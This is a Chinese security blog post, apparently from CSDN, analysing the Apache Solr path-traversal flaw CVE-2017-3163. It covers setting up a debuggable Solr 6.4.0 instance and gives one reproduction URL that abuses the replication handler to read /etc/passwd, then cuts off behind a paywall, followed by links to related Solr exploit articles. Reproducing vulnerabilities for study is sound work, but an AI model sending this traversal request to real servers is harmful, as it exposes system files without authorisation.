solr漏洞分析--CVE-2017-3163

最新推荐文章于 2024-05-12 14:14:04 发布
最新推荐文章于 2024-05-12 14:14:04 发布
阅读量635 收藏
点赞数 1
分类专栏： JAVA安全 漏洞复现 文章标签： java solr 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_31065143/article/details/115583360
版权

solr漏洞分析–CVE-2017-3163

环境搭建

solr 6.4.0
java 1.8

solr 所有版本下载地址：http://archive.apache.org/dist/lucene/solr/

启动低版本启动，在example目录下：

java -Xdebug -Xrunjdwp:transport=dt_socket,address=10010,server=y,suspend=y -jar start.jar

高版本启动,bin目录下：

./solr.cmd -f -a “-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=10010” -port 8983 -s “./Solr/solr-6.4.0/example/example-DIH/solr”

IDEA:

复现

影响范围

  • 1.4.0-6.4.0

低版本：

http://127.0.0.1:8983/solr/replication?command=filecontent&file=…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd&wt=filestre

最低0.47元/天 解锁文章
pyshare
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Apache Solr 信息泄漏漏洞（含批量验证poc）
weixin_43567873的博客
04-03 93
Apache Solr 信息泄漏漏洞（含批量验证poc）
Apache Solr 漏洞总结
星落的博客
04-15 1821
Apache Solr简介 Solr是一个高性能，采用Java5开发，基于Lucene的全文搜索服务器。Solr是一个独立的企业级搜索应用服务器，很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。它的主要特性包括：高效、灵活的缓存功能，垂直搜索功能，高亮显示搜索结果，通过索引复制来提高可用性，提 供一套强大Data Schema来定义字段，类型和设置文本分析，提供基于Web的管理界面等。 环境搭建 ..
其他的 框架安全：Apache Solr 远程代码漏洞.（CVE-2019-0193）
最新发布
网络安全领域___专研者.
05-12 623
Apache Solr是一个开源的搜索服务，便用Java语言开发，主要基于 HTTP 和ApacheLucene 实现的。Sor是一个高性能，采用Java5开发，基于Lucene的全文搜索服务器。
Apache Solr 任意文件读取漏洞
dahege666的博客
05-10 2104
环境搭建 下载后解压，然后把server中的JAR拷贝到example中然后CMD打开bin目录下的solr.cmd，访问 http://ip:8093(默认) Apache Solr简介 Apache Solr是一个开源的搜索服务，使用Java语言开发，主要基于HTTP和Apache Lucene实现的。它是一个独立的企业级搜索应用服务器，它对外提供类似于Web-service的API接口。用户可以通过http请求，向搜索引擎服务器提交一定格式的XML文件，生成索引；也可以通过Http Get操作提
执行sh文件_【漏洞通告】Apache Solr远程代码执行漏洞
weixin_39581972的博客
11-24 176
1.综述Apache Solr是美国阿帕奇（Apache）软件基金会的一款基于Lucene（一款全文搜索引擎）的搜索服务器。该产品支持层面搜索、垂直搜索、高亮显示搜索结果等。Apache Solr存在远程代码执行漏洞，该漏洞源于默认配置文件solr.in.sh中包含ENABLE_REMOTE_JMX_OPTS配置选项的不安全设置。2.漏洞概述漏洞类型：远程代码执行漏洞危险等级： 高危受影响系统： ...
Apache Solr 远程命令执行漏洞（CVE-2019-0193）
黑白的博客
11-22 628
声明 好好学习，天天向上 漏洞描述 Apache solr 是一款开源的搜索服务器并且使用java语言开发；主要的工作方式：用户通过http请求像搜索引擎发出索引条件，solr对条件进行分词 处理，根据分词结果查找索引，继而找到文档 在Apache solr的可选模块DatalmportHandler中的DIH配置是可以包含脚本，因此存在安全隐患，在apache solr < 8.2.0版本之前DIH配置中dataconfig可以被用户控制 影响范围 Apache solr < 8.2.0 复现
solr_exploit:Apache Solr远程代码执行突破（CVE-2019-0193）漏洞利用
03-10
此处提供的漏洞检测方法，文件等内容，均仅限于安全从业者在获得法律授权的情况下使用，目的是检测已授权的服务器的安全性。安全从业者遵守法律规定，禁止在没有得到授权的情况下做任何突破检测。 简介 理论上可以...
Middleware-Vulnerability-detection:CVE、CMS、中间件漏洞检测利用合集 Since 2019-9-15
04-07
--2019 CVE-2019-0193 Apache Solr via Velocity template RCE --2020.3 CVE-2019-17564 Apache Dubbo反序列化漏洞 --2020.7 CVE-2020-13925 Apache Kylin 远程命令执行漏洞 --2020.10 CVE-2020-13957 Apache Solr ...
Apache Tomcat CVE-2019-0232 远程代码执行漏洞 - tdcoming'blog QQ group 90
08-04
背景：近日，ApacheSolr官方团队在最新的安全更新中披露了一则ApacheSolrDeserialization远程代…阅读数 1386557篇文章排名:
solr漏洞合集
weixin_46626737的博客
07-02 817
在根据名字构造链接，进行访问，post传参：(验证是否存在漏洞poc)在根据名字构造链接，进行访问，post传参：(验证是否存在漏洞poc)漏洞版本：Apache Solr 5.0.0 ~8.3.1。漏洞版本：Apache Solr < 8.2.0。3.solr远程代码执行（CVE-2017-12629）5.solr的XXE漏洞（CVE-2017-12629）2.solr远程代码执行（CVE-2019-0193）漏洞版本：Apache Solr < 7.1。漏洞版本：Apache Solr < 7.1。
Apache Solr漏洞总结（比较全面的哦）
热门推荐
yangbz123的博客
06-11 1万+
目录框架概述Wiki百科百度百科漏洞列表1.远程命令执行RCE（CVE-2017-12629）漏洞详情漏洞复现影响版本修复方案2.远程命令执行XXE（CVE-2017-12629）漏洞详情漏洞复现影响版本修复方案3.任意文件读取AND命令执行（CVE-2019-17558）漏洞详情漏洞复现3.1代码执行3.2任意文件读取影响版本修复方案4.远程命令执行漏洞(CVE-2019-0192)漏洞详情漏洞复现影响版本修复方案5.远程命令执行漏洞(CVE-2019-0193)漏洞详情漏洞复现影响版本修复方案6.未授权
Apache Solr远程命令执行漏洞复现 （CVE-2019-0193，docker 搭建）
suqiban7253的博客
03-14 257
这里写自定义目录标题0x00漏洞简介0x01 漏洞概述0x02影响范围0x03环境搭建0x04漏洞复现0x05 遇到的问题0x06参考 0x00漏洞简介 Solr是一个独立的企业级搜索应用服务器，它对外提供类似于Web-service的API接口。用户可以通过http请求，向搜索引擎服务器提交一定格式的XML文件，生成索引；也可以通过Http Get操作提出查找请求，并得到XML格式的返回结果。 0x01 漏洞概述 该漏洞的产生是由于两方面的原因： 当攻击者可以直接访问Solr控制台时，可以通过发送类似/节
【漏洞复现】Apache系列(二)之Solr漏洞复现
qq_45244158的博客
03-01 7348
【漏洞复现】Apache系列(二)之Solr漏洞复现
Apache Solr远程命令执行漏洞
weixin_44897902的博客
11-03 2867
呜呜呜呜呜大佬们都太猛了，我就晚了半天，基本上所有的站都被大佬们x了个遍…呜呜呜呜呜 但是即便是在这样的情况下，我还是捡了个漏，好了好了，开始了 漏洞名称： Apache Solr远程命令执行漏洞（Apache Solr Velocity模板注入RCE漏洞） 漏洞危害： 远程命令执行，容易被人getshell，使自己的服务器成为别人的肉鸡… 产生原因（攻击前提）： 能够直接访问solr控制台，那么...
Apache Solr 未授权上传（RCE）漏洞（CVE-2020-13957）加固操作指南
乐大厨串串香飘万里
08-09 655
Apache Solr 未授权上传（RCE）漏洞（CVE-2020-13957）
Apache Solr最新任意文件读取漏洞
蚁景网安学院
04-01 931
漏洞简介 Apache Solr是一个开源搜索服务引擎，默认安装未授权情况下攻击者可以构造恶意HTTP请求读取目标Apache Solr服务器的任意文件。 本文涉及相关实验：CVE-2019-0192 Apache Solr远程反序列化代码执行漏洞（Apache Solr是一个开源的搜索服务器。具有高度可靠、可伸缩和容错的，提供分布式索引、复制和负载平衡查询、自动故障转移和恢复、集中配置等功能。） 影响版本 solr任意版本 环境搭建 漏洞环境下载： https://archive.apache.org/d
solr-data-config.xml entity的详细配置方法
06-08
在 solr-data-config.xml 文件中，entity 用于描述数据源中的实体（entity），它定义了数据源中的表或视图、查询语句、字段映射等信息。下面是一个示例 entity 的配置： ```xml pk="id" query="SELECT id, name,...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值